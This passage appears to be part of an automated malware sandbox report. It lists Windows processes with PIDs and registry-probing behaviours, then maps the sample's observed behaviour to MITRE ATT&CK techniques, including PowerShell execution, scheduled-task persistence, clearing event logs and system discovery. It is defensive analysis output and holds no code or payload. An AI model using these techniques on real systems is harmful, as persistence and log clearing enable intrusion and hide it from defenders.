C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:3224

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:456

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4376

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:4160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery